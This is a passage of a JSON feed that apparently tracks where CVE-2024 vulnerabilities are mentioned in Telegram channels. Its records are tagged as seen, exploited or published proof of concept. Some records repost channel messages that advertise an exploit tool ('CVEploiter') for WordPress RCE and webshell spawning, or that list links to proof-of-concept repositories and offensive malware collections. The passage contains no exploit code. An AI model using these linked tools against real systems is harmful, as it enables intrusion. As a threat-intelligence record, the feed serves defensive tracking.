"Telegram/pPMDt4KpKuk3DCPZbSnXp6GmiHT4xLAS_OY0fUITyLeMfH5r", "content": "", "creation_timestamp": "2025-02-14T09:46:58.000000Z"}, {"uuid": "94ccfb34-4cf4-4e19-a4c9-53787a8e704d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1237", "type": "seen", "source": "Telegram/fudr4ZTrMHFqVgIv89IVFcIZJbrtqhHrmLVjBd0z2eCzKpES", "content": "", "creation_timestamp": "2025-02-06T02:44:20.000000Z"}, {"uuid": "ef45888f-afd5-42f9-a19e-3bdd7dcb0d52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12649", "type": "seen", "source": "Telegram/ixHUP-WXVna5A54N_tdhkTLJbC-a2sXWoIbUvUgXsFrYjtjj", "content": "", "creation_timestamp": "2025-01-28T03:22:55.000000Z"}, {"uuid": "4b46155c-82ec-4642-af3c-2f4026bad9eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12648", "type": "seen", "source": "Telegram/H_sjgCE-h7FnF50YbBdLwAmcSesqgBogusiDwfeb13xGCAnS", "content": "", "creation_timestamp": "2025-01-28T03:22:55.000000Z"}, {"uuid": "f0a7ef7d-0468-470f-87ea-127b03f0caa2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12054", "type": "seen", "source": "Telegram/Vz13zTwm0TEGry8Mk8nOD5Bdc_tHpYiS9RQAQ7vfvwZR9kt4", "content": "", "creation_timestamp": "2025-02-14T10:09:24.000000Z"}, {"uuid": "c2879076-86dc-4b31-af6d-5fd3d4209e5f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1210", "type": "published-proof-of-concept", "source": "Telegram/5wtuBUawfmBgpqWWV5EHlsYg0fOU3PzyjHe2qzgYk5w-", "content": "", "creation_timestamp": "2024-06-14T14:38:05.000000Z"}, {"uuid": "09a87db1-eb35-4b37-b23b-095adf6a6d11", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1210", "type": "published-proof-of-concept", "source": "https://t.me/LeakingCode/42136", "content": "CVEploiter v1.0.0.0\n\nAdvanced software to exploit cve-2024 vulnerabilities.\n\nCVE-2024-25600 - Wordpress - Bricks < Remote Code Execution [RCE]\n\nCVE-2024-1210 -  Wordpress - LearnDash LMS < Sensitive Information Exposure [SIE]\n\nCVE-2024-21644 - pyLoad - Flask Config < Access Control [AC]\n\nCVE-2024-0713 - Monitorr Services Configuration - Spawn Webshell [SW]\n\nEnjoy;", "creation_timestamp": "2024-06-16T15:10:16.000000Z"}, {"uuid": "054e3994-4b30-4ca5-8635-f47b2c34a4da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "published-proof-of-concept", "source": "https://t.me/tengkorakcybercrewz/4359", "content": "Tools - Hackers Factory\n\nResources for Mobile Application Testing\n\nhttps://github.com/0xSojalSec/Mobile-Application-Security\n\nCVE-2024-1212: Unauthenticated remote attackers can access the system through the LoadMaster management interface, enabling arbitrary system command execution.\n\nhttps://github.com/Chocapikk/CVE-2024-1212\n\nbug_bounty_scripts\n/firebase-scanner.py\n\nhttps://github.com/geeknik/bug_bounty_scripts/blob/main/firebase-scanner.py\n\nIndirect syscalls + DInvoke made simple.\n\nhttps://github.com/nbaertsch/nimvoke\n\nWindows Kernel Pool (clfs.sys) Corruption Privilege Escalation\n\nhttps://github.com/Nassim-Asrir/CVE-2023-36424\n\nOSINT tools for Information gathering, Cybersecurity, Reverse searching, bugbounty, trust and safety, red team oprations and more.\n\nhttps://github.com/Astrosp/Awesome-OSINT-For-Everything\n\nRembg is a tool to remove images background\n\nhttps://github.com/danielgatis/rembg\n\nHiddenVM \u2014 Use any desktop OS without leaving a trace.\n\nhttps://github.com/aforensics/HiddenVM\n\nGooFuzz is a tool to perform fuzzing with an OSINT approach, managing to enumerate directories, files, subdomains or parameters without leaving evidence on the target's server and by means of advanced Google searches (Google Dorking).\n\nhttps://github.com/m3n0sd0n4ld/GooFuzz\n\nRustRedOps is a repository dedicated to gathering and sharing advanced techniques and offensive malware for Red Team, with a specific focus on the Rust programming language.\n\nhttps://github.com/joaoviictorti/RustRedOps\n\n#HackersFactory", "creation_timestamp": "2024-03-24T01:12:42.000000Z"}, {"uuid": "84f8c2d8-31ce-47c2-85fe-c610c4751cb6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "exploited", "source": "Telegram/-uSC9Mmljt6p1HPkgodOIwpnVbLLE9A1Fu-pC_Xbd2eqFg", "content": "", "creation_timestamp": "2024-12-28T09:41:55.000000Z"}, {"uuid": "cbdb8876-2d21-4107-8537-d1496d73a2b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1210", "type": "published-proof-of-concept", "source": "https://t.me/AGENTZSECURITY/1122", "content": "CVEploiter v1.0.0.0\n\nAdvanced software to exploit cve-2024 vulnerabilities.\n\nCVE-2024-25600 - Wordpress - Bricks < Remote Code Execution [RCE]\n\nCVE-2024-1210 -  Wordpress - LearnDash LMS < Sensitive Information Exposure [SIE]\n\nCVE-2024-21644 - pyLoad - Flask Config < Access Control [AC]\n\nCVE-2024-0713 - Monitorr Services Configuration - Spawn Webshell [SW]\n\nEnjoy;", "creation_timestamp": "2025-03-05T14:04:07.000000Z"}, {"uuid": "7241b8b4-c894-4a7d-9405-608567533dd3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1234", "type": "seen", "source": "https://t.me/arpsyndicate/4213", "content": "#ExploitObserverAlert\n\nCVE-2024-1234\n\nDESCRIPTION: Exploit Observer has 7 entries in 2 file formats related to CVE-2024-1234. The Exclusive Addons for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via data attribute in all versions up to, and including, 2.6.9 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor access or higher, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\nFIRST-EPSS: 0.000430000", "creation_timestamp": "2024-03-15T04:06:12.000000Z"}, {"uuid": "289458d4-bd9e-489e-a821-5ecf4dd0cee5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "seen", "source": "https://t.me/arpsyndicate/4270", "content": "#ExploitObserverAlert\n\nPD/http/cves/2024/CVE-2024-1212\n\nDESCRIPTION: Exploit Observer has 7 entries in 4 file formats related to PD/http/cves/2024/CVE-2024-1212. Unauthenticated remote attackers can access the system through the LoadMaster management interface, enabling arbitrary system command execution.", "creation_timestamp": "2024-03-21T13:36:23.000000Z"}, {"uuid": "e491a012-6c78-4751-9b1c-9a626d61e41d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "exploited", "source": "Telegram/slg1e6S7t9mR9WD5Aitsk1Ar3hGjfLQUDfVVAeV9iDmR5w", "content": "", "creation_timestamp": "2024-12-20T07:07:16.000000Z"}, {"uuid": "4b868df0-2f0a-4d9b-94de-c254a3cfc605", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1297", "type": "seen", "source": "https://t.me/arpsyndicate/3706", "content": "#ExploitObserverAlert\n\nCVE-2024-1297\n\nDESCRIPTION: Exploit Observer has 1 entries in 1 file formats related to CVE-2024-1297. Loomio version 2.22.0 allows executing arbitrary commands on the server.  This is possible because the application is vulnerable to OS Command Injection.\n\nFIRST-EPSS: 0.000660000\nNVD-IS: 6.0\nNVD-ES: 3.9", "creation_timestamp": "2024-02-21T07:00:44.000000Z"}, {"uuid": "9d503cf9-c29d-48e3-b32b-01bb89bac381", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "Telegram/nijFPmulGSJ7GXqbamJhv2Jo84bFZjhbs9WM1DO2JDAXaw", "content": "", "creation_timestamp": "2024-11-19T09:10:12.000000Z"}, {"uuid": "6c379168-5bb8-4c5e-ac38-3caa7b5d25e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "seen", "source": "https://t.me/arpsyndicate/4900", "content": "#ExploitObserverAlert\n\nCVE-2024-1212\n\nDESCRIPTION: Exploit Observer has 42 entries in 11 file formats related to CVE-2024-1212. Unauthenticated remote attackers can access the system through the LoadMaster management interface, enabling arbitrary system command execution.\n\nFIRST-EPSS: 0.002130000\nARPS-PRIORITY: 0.9770812", "creation_timestamp": "2024-05-02T21:12:07.000000Z"}, {"uuid": "f241326e-8667-4c46-97a7-137ab60db6bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "seen", "source": "https://t.me/arpsyndicate/4053", "content": "#ExploitObserverAlert\n\nCVE-2024-1212\n\nDESCRIPTION: Exploit Observer has 1 entries in 1 file formats related to CVE-2024-1212. Unauthenticated remote attackers can access the system through the LoadMaster management interface, enabling arbitrary system command execution.", "creation_timestamp": "2024-02-22T21:17:34.000000Z"}, {"uuid": "8293a2d6-65c0-45eb-a3f2-95e64fd68990", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1210", "type": "seen", "source": "https://t.me/arpsyndicate/3868", "content": "#ExploitObserverAlert\n\nPD/http/cves/2024/CVE-2024-1210\n\nDESCRIPTION: Exploit Observer has 8 entries in 5 file formats related to PD/http/cves/2024/CVE-2024-1210. The LearnDash LMS plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 4.10.1 via API. This makes it possible for unauthenticated attackers to obtain access to quizzes.", "creation_timestamp": "2024-02-21T21:20:53.000000Z"}, {"uuid": "933cee1d-4487-4c65-b2ab-069c93278530", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1208", "type": "seen", "source": "https://t.me/arpsyndicate/3873", "content": "#ExploitObserverAlert\n\nPD/http/cves/2024/CVE-2024-1208\n\nDESCRIPTION: Exploit Observer has 8 entries in 5 file formats related to PD/http/cves/2024/CVE-2024-1208. The LearnDash LMS plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 4.10.2 via API. This makes it possible for unauthenticated attackers to obtain access to quiz questions.", "creation_timestamp": "2024-02-21T21:27:40.000000Z"}, {"uuid": "59e2192d-2c66-42ec-8b15-766c7716b563", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1209", "type": "seen", "source": "https://t.me/arpsyndicate/3862", "content": "#ExploitObserverAlert\n\nPD/http/cves/2024/CVE-2024-1209\n\nDESCRIPTION: Exploit Observer has 8 entries in 5 file formats related to PD/http/cves/2024/CVE-2024-1209. The LearnDash LMS plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 4.10.1 via direct file access due to insufficient protection of uploaded assignments. This makes it possible for unauthenticated attackers to obtain those uploads.", "creation_timestamp": "2024-02-21T21:13:12.000000Z"}, {"uuid": "dba3cfcf-fcb6-4241-be42-5381e4f81af7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12686", "type": "exploited", "source": "Telegram/dwDeRHLGAgn4bJelC7wsD8o5UbrvAREJdCqrSBgOb8boCw", "content": "", "creation_timestamp": "2025-01-14T08:05:53.000000Z"}, {"uuid": "4fecdbe4-0b23-4e5f-a66a-5e3a350d5bb0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12297", "type": "seen", "source": "Telegram/pd6Hois9L-Ok_Ydu60EWoBX9NnIXOJfrvpd0U-oT8UhSwA", "content": "", "creation_timestamp": "2025-03-11T12:18:53.000000Z"}, {"uuid": "07263b74-ee45-4eef-8dc9-abc1f7f48a09", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12284", "type": "seen", "source": "Telegram/MPcVPESseB3g11ZZB4yY7JaaoFWGltfHzK6oAQfm9x63aA", "content": "", "creation_timestamp": "2025-02-20T10:59:50.000000Z"}, {"uuid": "b3134bb7-bb1e-4e5c-985f-20661ee2e068", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12908", "type": "seen", "source": "https://t.me/ZeroDay_ru/370", "content": "#exploit\n1. CVE-2024-3393:\nPalo Alto Networks PAN-OS Malicious DNS Packet Vulnerability (DoS)\n\n2. CVE-2024-12908:\nDelinea Protocol Handler - RCE via Update Process\n\n3. CVE-2024-53677:\nUnrestricted Upload of File with Dangerous Type and RCE in Apache Struts\n\n4. CVE-2021-44967:\nLimeSurvey <=5.2 - RCE\n\n5. CVE-2024-47575:\nFortinet FortiManager Missing Authentication", "creation_timestamp": "2025-01-06T13:23:51.000000Z"}, {"uuid": "5808f80f-8ec1-4be9-9b29-5ce5179db5fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12754", "type": "published-proof-of-concept", "source": "https://t.me/CyberDilara/1536", "content": "Penetration/POCs/CVE-2024-12754 at main \u00b7 CICADA8-Research/Penetration \n\nhttps://github.com/CICADA8-Research/Penetration/tree/main/POCs/CVE-2024-12754\n\n#Tools@CyberDilara", "creation_timestamp": "2025-02-21T04:08:04.000000Z"}, {"uuid": "d559420f-602f-4a9f-89de-379139e6cf37", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "published-proof-of-concept", "source": "https://t.me/CyberDilara/149", "content": "Tools - Hackers Factory\n\nResources for Mobile Application Testing\n\nhttps://github.com/0xSojalSec/Mobile-Application-Security\n\nCVE-2024-1212: Unauthenticated remote attackers can access the system through the LoadMaster management interface, enabling arbitrary system command execution.\n\nhttps://github.com/Chocapikk/CVE-2024-1212\n\nbug_bounty_scripts\n/firebase-scanner.py\n\nhttps://github.com/geeknik/bug_bounty_scripts/blob/main/firebase-scanner.py\n\nIndirect syscalls + DInvoke made simple.\n\nhttps://github.com/nbaertsch/nimvoke\n\nWindows Kernel Pool (clfs.sys) Corruption Privilege Escalation\n\nhttps://github.com/Nassim-Asrir/CVE-2023-36424\n\nOSINT tools for Information gathering, Cybersecurity, Reverse searching, bugbounty, trust and safety, red team oprations and more.\n\nhttps://github.com/Astrosp/Awesome-OSINT-For-Everything\n\nRembg is a tool to remove images background\n\nhttps://github.com/danielgatis/rembg\n\nHiddenVM \u2014 Use any desktop OS without leaving a trace.\n\nhttps://github.com/aforensics/HiddenVM\n\nGooFuzz is a tool to perform fuzzing with an OSINT approach, managing to enumerate directories, files, subdomains or parameters without leaving evidence on the target's server and by means of advanced Google searches (Google Dorking).\n\nhttps://github.com/m3n0sd0n4ld/GooFuzz\n\nRustRedOps is a repository dedicated to gathering and sharing advanced techniques and offensive malware for Red Team, with a specific focus on the Rust programming language.\n\nhttps://github.com/joaoviictorti/RustRedOps\n\n#HackersFactory", "creation_timestamp": "2024-06-17T13:58:11.000000Z"}, {"uuid": "02779310-5b87-45ed-9a9f-f93815d01916", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "published-proof-of-concept", "source": "https://t.me/tengkorakcybercrewz/791", "content": "Tools - Hackers Factory\n\nResources for Mobile Application Testing\n\nhttps://github.com/0xSojalSec/Mobile-Application-Security\n\nCVE-2024-1212: Unauthenticated remote attackers can access the system through the LoadMaster management interface, enabling arbitrary system command execution.\n\nhttps://github.com/Chocapikk/CVE-2024-1212\n\nbug_bounty_scripts\n/firebase-scanner.py\n\nhttps://github.com/geeknik/bug_bounty_scripts/blob/main/firebase-scanner.py\n\nIndirect syscalls + DInvoke made simple.\n\nhttps://github.com/nbaertsch/nimvoke\n\nWindows Kernel Pool (clfs.sys) Corruption Privilege Escalation\n\nhttps://github.com/Nassim-Asrir/CVE-2023-36424\n\nOSINT tools for Information gathering, Cybersecurity, Reverse searching, bugbounty, trust and safety, red team oprations and more.\n\nhttps://github.com/Astrosp/Awesome-OSINT-For-Everything\n\nRembg is a tool to remove images background\n\nhttps://github.com/danielgatis/rembg\n\nHiddenVM \u2014 Use any desktop OS without leaving a trace.\n\nhttps://github.com/aforensics/HiddenVM\n\nGooFuzz is a tool to perform fuzzing with an OSINT approach, managing to enumerate directories, files, subdomains or parameters without leaving evidence on the target's server and by means of advanced Google searches (Google Dorking).\n\nhttps://github.com/m3n0sd0n4ld/GooFuzz\n\nRustRedOps is a repository dedicated to gathering and sharing advanced techniques and offensive malware for Red Team, with a specific focus on the Rust programming language.\n\nhttps://github.com/joaoviictorti/RustRedOps\n\n#HackersFactory", "creation_timestamp": "2024-03-24T01:12:42.000000Z"}, {"uuid": "e6d2975e-2b6d-42b8-aba7-545563432e6e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1210", "type": "published-proof-of-concept", "source": "https://t.me/LeakingCode/12981", "content": "CVEploiter v1.0.0.0\n\nAdvanced software to exploit cve-2024 vulnerabilities.\n\nCVE-2024-25600 - Wordpress - Bricks < Remote Code Execution [RCE]\n\nCVE-2024-1210 -  Wordpress - LearnDash LMS < Sensitive Information Exposure [SIE]\n\nCVE-2024-21644 - pyLoad - Flask Config < Access Control [AC]\n\nCVE-2024-0713 - Monitorr Services Configuration - Spawn Webshell [SW]\n\nEnjoy;", "creation_timestamp": "2024-06-16T15:10:15.000000Z"}, {"uuid": "c660fa39-aa7e-46b5-b938-586b579db4a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "published-proof-of-concept", "source": "Telegram/9tSKlxV2LGf03XtO-I3nh7JO83WEmd9HbXLgiO9yU6WtVXk", "content": "", "creation_timestamp": "2025-01-11T22:00:06.000000Z"}, {"uuid": "c71cb4c3-fa80-469c-be73-4d5e46a37ed8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12252", "type": "published-proof-of-concept", "source": "Telegram/vQ0Sm3TCgGLw115KTy13Xlz5wNa50qfz0GIGSnr52V26EMk", "content": "", "creation_timestamp": "2025-03-26T20:00:07.000000Z"}, {"uuid": "be38133c-ab3c-4d6a-a5d2-372fb57a47f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12084", "type": "published-proof-of-concept", "source": "Telegram/w325E41di4scLZAZeav1H5x7KtwWQEG9CnYV1IaJHJrRvx4", "content": "", "creation_timestamp": "2025-01-30T04:00:07.000000Z"}, {"uuid": "07fda8aa-e68b-4140-b9b5-042719560519", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12905", "type": "published-proof-of-concept", "source": "Telegram/hru7NN7EYI-xT4JmOnsEkxtF0d6B0YZMLzams5CbWl1Ym4s", "content": "", "creation_timestamp": "2025-04-24T23:00:06.000000Z"}, {"uuid": "4b62c232-8f3d-4c8b-b411-310697114287", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "https://t.me/KomunitiSiber/2884", "content": "Warning: VMware vCenter and Kemp LoadMaster Flaws Under Active Exploitation\nhttps://thehackernews.com/2024/11/cisa-alert-active-exploitation-of.html\n\nNow-patched security flaws impacting Progress Kemp LoadMaster and VMware vCenter Server have come under active exploitation in the wild, it has emerged.\nThe U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Monday added CVE-2024-1212 (CVSS score: 10.0), a maximum-severity security vulnerability in Progress Kemp LoadMaster to its Known Exploited Vulnerabilities (KEV) catalog. It was", "creation_timestamp": "2024-11-19T12:32:55.000000Z"}, {"uuid": "1b0e109a-bb95-4571-9603-686c4fdbbdec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12252", "type": "published-proof-of-concept", "source": "Telegram/yRj3rvTPwwJJrmgfCfqzU7qpeXOxuv70IH7oKMdEI3GidpE", "content": "", "creation_timestamp": "2025-03-26T10:00:06.000000Z"}, {"uuid": "3a70199e-4977-4a66-b6af-031b9f4751c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12084", "type": "published-proof-of-concept", "source": "Telegram/QhLs29f9jkMndQUEOq_y-kCPKJZ0R7iOs5J6PJ7Zi4bzPbA", "content": "", "creation_timestamp": "2025-01-21T08:51:27.000000Z"}, {"uuid": "a809c69e-68ba-4986-b870-ed475e7eb042", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12542", "type": "published-proof-of-concept", "source": "Telegram/AXGaw1ceyh_E-ZjbEf2s9J-O6L5Ne7SNm2QOhOOawMBRxWY", "content": "", "creation_timestamp": "2025-02-04T08:00:11.000000Z"}, {"uuid": "573a5317-5015-4bee-a177-e46a7645f584", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12084", "type": "published-proof-of-concept", "source": "Telegram/xZHT8JlrDuekMeiBBl0Kib0SITZuNyErjrt8ZC6vQEtaQSo", "content": "", "creation_timestamp": "2025-01-20T20:10:31.000000Z"}, {"uuid": "a6cec25e-5453-4c26-bcfc-da2dee1bfc46", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1247", "type": "published-proof-of-concept", "source": "Telegram/cGlNk2XPqI5hfrvKJxbIt4B5c5ls0VW2CeJKCk0bOlVUG7A", "content": "", "creation_timestamp": "2025-01-15T16:00:09.000000Z"}, {"uuid": "8963e65a-7d5d-408a-ad01-b3fd7d0c9b09", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12342", "type": "published-proof-of-concept", "source": "Telegram/WaBw3Jw0vb5AGJc9tIYoYKjH3e2RrXYOROLA0rL6tF_sE5E", "content": "", "creation_timestamp": "2025-04-30T05:00:10.000000Z"}, {"uuid": "a13d81e6-4694-449d-8691-2f37b065927b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12342", "type": "published-proof-of-concept", "source": "Telegram/oXbZUyDkh9HvYDCcVwESbtZAPUw4sF4JBZ0Dd5j_85BRE8U", "content": "", "creation_timestamp": "2025-04-30T05:00:07.000000Z"}, {"uuid": "c0bb31e5-81fa-47dd-a7b7-e504e929d083", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12008", "type": "seen", "source": "Telegram/fSuv2KpyfIksaa8qqgqv5fCpt00UzRfooou1l9gqHjc-A0g", "content": "", "creation_timestamp": "2025-03-11T22:00:06.000000Z"}, {"uuid": "33acb486-fd1c-4ff6-ae6c-c44507383589", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12542", "type": "published-proof-of-concept", "source": "Telegram/blYNuS22oA3M4gwP55mU-0GZL2_-xpbiG9GK2fE4rHQlvxM", "content": "", "creation_timestamp": "2025-01-10T16:00:09.000000Z"}, {"uuid": "5e9b58c6-7da1-4d94-acb0-fc6c3ec62697", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12886", "type": "published-proof-of-concept", "source": "Telegram/TH2kPKxkcvQyb1m-8snBxNJYC7rG2GntpZED8loGES4uw-U", "content": "", "creation_timestamp": "2025-02-20T20:00:06.000000Z"}, {"uuid": "01e5750e-da25-4ef7-a6bd-53402874d47b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12029", "type": "published-proof-of-concept", "source": "Telegram/TH2kPKxkcvQyb1m-8snBxNJYC7rG2GntpZED8loGES4uw-U", "content": "", "creation_timestamp": "2025-02-20T20:00:06.000000Z"}, {"uuid": "b2aa0fbe-cb1a-4f62-bfb7-5a38a0a11d64", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "published-proof-of-concept", "source": "https://t.me/GrayHatCommunity/7670", "content": "Tools - Hackers Factory\n\nResources for Mobile Application Testing\n\nhttps://github.com/0xSojalSec/Mobile-Application-Security\n\nCVE-2024-1212: Unauthenticated remote attackers can access the system through the LoadMaster management interface, enabling arbitrary system command execution.\n\nhttps://github.com/Chocapikk/CVE-2024-1212\n\nbug_bounty_scripts\n/firebase-scanner.py\n\nhttps://github.com/geeknik/bug_bounty_scripts/blob/main/firebase-scanner.py\n\nIndirect syscalls + DInvoke made simple.\n\nhttps://github.com/nbaertsch/nimvoke\n\nWindows Kernel Pool (clfs.sys) Corruption Privilege Escalation\n\nhttps://github.com/Nassim-Asrir/CVE-2023-36424\n\nOSINT tools for Information gathering, Cybersecurity, Reverse searching, bugbounty, trust and safety, red team oprations and more.\n\nhttps://github.com/Astrosp/Awesome-OSINT-For-Everything\n\nRembg is a tool to remove images background\n\nhttps://github.com/danielgatis/rembg\n\nHiddenVM \u2014 Use any desktop OS without leaving a trace.\n\nhttps://github.com/aforensics/HiddenVM\n\nGooFuzz is a tool to perform fuzzing with an OSINT approach, managing to enumerate directories, files, subdomains or parameters without leaving evidence on the target's server and by means of advanced Google searches (Google Dorking).\n\nhttps://github.com/m3n0sd0n4ld/GooFuzz\n\nRustRedOps is a repository dedicated to gathering and sharing advanced techniques and offensive malware for Red Team, with a specific focus on the Rust programming language.\n\nhttps://github.com/joaoviictorti/RustRedOps\n\n#HackersFactory", "creation_timestamp": "2024-03-23T23:50:30.000000Z"}, {"uuid": "f6d77fb8-a11f-4ca3-94b5-68673bd1fcdf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12912", "type": "seen", "source": "https://t.me/GrayHatsHack/9343", "content": "\u26a1\ufe0fCVE-2024-12912 & CVE-2024-13062: ASUS Routers at Risk.\n\n#CyberBulletin", "creation_timestamp": "2025-01-06T06:33:13.000000Z"}, {"uuid": "d3b38a39-47ca-49bc-836b-574b190accee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12754", "type": "published-proof-of-concept", "source": 